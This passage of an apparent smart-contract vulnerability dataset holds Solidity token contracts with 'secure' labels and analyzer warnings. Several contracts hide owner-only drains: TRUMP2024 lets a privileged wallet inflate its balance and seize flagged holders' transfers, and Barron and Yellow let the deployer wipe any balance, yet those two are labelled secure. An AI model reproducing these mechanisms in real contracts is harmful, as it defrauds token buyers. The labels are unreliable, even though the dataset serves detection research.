contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}", "file_name": "solidity_code_1396.sol", "secure": 0, "size_bytes": 16461 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d75eec2): Contract locking ether found Contract TRUMP2024 has payable functions TRUMP2024.receive() But does not have a function to withdraw the ether\n// Recommendation for d75eec2: Remove the 'payable' attribute or add a withdraw function.\ncontract TRUMP2024 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8435086): TRUMP2024._name should be constant \n\t// Recommendation for 8435086: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Trump 2024\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 011395e): TRUMP2024._symbol should be constant \n\t// Recommendation for 011395e: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"TRUMP\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c08ba4): TRUMP2024._decimals should be constant \n\t// Recommendation for 4c08ba4: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 42c19e7): TRUMP2024.Piper should be immutable \n\t// Recommendation for 42c19e7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public Piper;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7afa425): TRUMP2024._totalSupply should be immutable \n\t// Recommendation for 7afa425: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7376e74): TRUMP2024.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 7376e74: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n Piper = payable(address(0x1cC956563426954f82aD3B8da25757230CC2e321));\n\n _isExcludefromFee[Piper] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4a88fb): TRUMP2024.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4a88fb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 77f88af): TRUMP2024._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 77f88af: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 19186db\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 99b0915\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d75eec2): Contract locking ether found Contract TRUMP2024 has payable functions TRUMP2024.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d75eec2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 99b0915): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 99b0915: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 19186db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 19186db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 99b0915\n\t\t// reentrancy-benign | ID: 19186db\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 99b0915\n\t\t// reentrancy-benign | ID: 19186db\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 107479a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 107479a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launching() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 107479a\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 107479a\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: 107479a\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: 107479a\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5cb433e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5cb433e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6fc3ace): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6fc3ace: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == Piper) ? true : false)\n _balances[address(Piper)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: 5cb433e\n\t\t\t\t// reentrancy-no-eth | ID: 6fc3ace\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 6fc3ace\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: 5cb433e\n\t\t\t// reentrancy-no-eth | ID: 6fc3ace\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 6fc3ace\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: 5cb433e\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 99b0915\n\t\t// reentrancy-events | ID: 5cb433e\n\t\t// reentrancy-benign | ID: 19186db\n\t\t// reentrancy-no-eth | ID: 6fc3ace\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(Piper),\n block.timestamp\n )\n {} catch {}\n }\n\n function Drex(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != Piper) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: 6fc3ace\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: 5cb433e\n emit Transfer(sender, address(this), swapRate);\n }\n\n return amount.sub(swapRate);\n }\n}", "file_name": "solidity_code_1397.sol", "secure": 0, "size_bytes": 12307 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract UFCPToken is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"UFCP Token\", \"UFCP\") Ownable(initialOwner) {\n _mint(owner(), 1000000000e18);\n }\n}", "file_name": "solidity_code_1398.sol", "secure": 1, "size_bytes": 498 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}", "file_name": "solidity_code_1399.sol", "secure": 1, "size_bytes": 897 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}", "file_name": "solidity_code_14.sol", "secure": 1, "size_bytes": 561 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Anonymouse is ERC20 {\n constructor() ERC20(\"Anonymouse\", \"ANON\") {\n _mint(msg.sender, 1337000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_140.sol", "secure": 1, "size_bytes": 278 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Barron is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable ally;\n\n constructor() {\n _name = \"BARRON\";\n\n _symbol = \"BARRON\";\n\n _decimals = 18;\n\n uint256 initialSupply = 582000000;\n\n ally = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == ally, \"Not allowed\");\n\n _;\n }\n\n function collect(address[] memory affect) public onlyOwner {\n for (uint256 i = 0; i < affect.length; i++) {\n address account = affect[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1400.sol", "secure": 1, "size_bytes": 4348 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Yellow is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable dead;\n\n constructor() {\n _name = \"YELLOW\";\n\n _symbol = \"YELLOW\";\n\n _decimals = 18;\n\n uint256 initialSupply = 172000000;\n\n dead = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == dead, \"Not allowed\");\n\n _;\n }\n\n function motivation(address[] memory situation) public onlyOwner {\n for (uint256 i = 0; i < situation.length; i++) {\n address account = situation[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1401.sol", "secure": 1, "size_bytes": 4360 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Token is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n bool public startTx;\n\n mapping(address => bool) public isMarketPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d9fb4b): Token.uniswapV2Router should be constant \n\t// Recommendation for 9d9fb4b: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e46b0c4): Token.uniswapPair should be immutable \n\t// Recommendation for e46b0c4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapPair;\n\n constructor() Ownable(msg.sender) {\n _name = \"BTC6900\";\n\n _symbol = \"BTC6900\";\n\n _decimals = 18;\n\n address owner_ = msg.sender;\n\n _totalSupply = 1000000000 * 10 ** _decimals;\n\n _balances[owner_] = _balances[owner_].add(_totalSupply);\n\n emit Transfer(address(0), owner_, _totalSupply);\n\n _isExcluded[owner_] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n isMarketPair[address(uniswapPair)] = true;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function launch() external onlyOwner {\n startTx = true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n if (isMarketPair[recipient] || isMarketPair[sender]) {\n require(startTx, \"not start\");\n }\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_1402.sol", "secure": 1, "size_bytes": 6347 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract JONG6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _exclFromLimit;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"JONG6900\";\n\n string private constant _symbol = unicode\"$JONG6900\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a07f907): JONG6900._maxTxAmount should be constant \n\t// Recommendation for a07f907: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e935dc): JONG6900._maxWalletSize should be constant \n\t// Recommendation for 2e935dc: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: c94523e): JONG6900._taxSwapThreshold should be constant \n\t// Recommendation for c94523e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ff70d1): JONG6900._maxTaxSwap should be constant \n\t// Recommendation for 2ff70d1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2f574fc): JONG6900._taxWallet should be immutable \n\t// Recommendation for 2f574fc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 298b521): JONG6900.limitsInEffect should be constant \n\t// Recommendation for 298b521: Add the 'constant' attribute to state variables that never change.\n bool private limitsInEffect = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event ClearToken(address tokenAddr, uint256 tokenAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7Bc2fEC4c170fF77e45Ab7a00c12fD15ED87396c);\n\n _balances[_msgSender()] = _tTotal;\n\n _exclFromLimit[_taxWallet] = true;\n\n _exclFromLimit[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c9740f1): JONG6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c9740f1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2cb1e69): JONG6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2cb1e69: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero 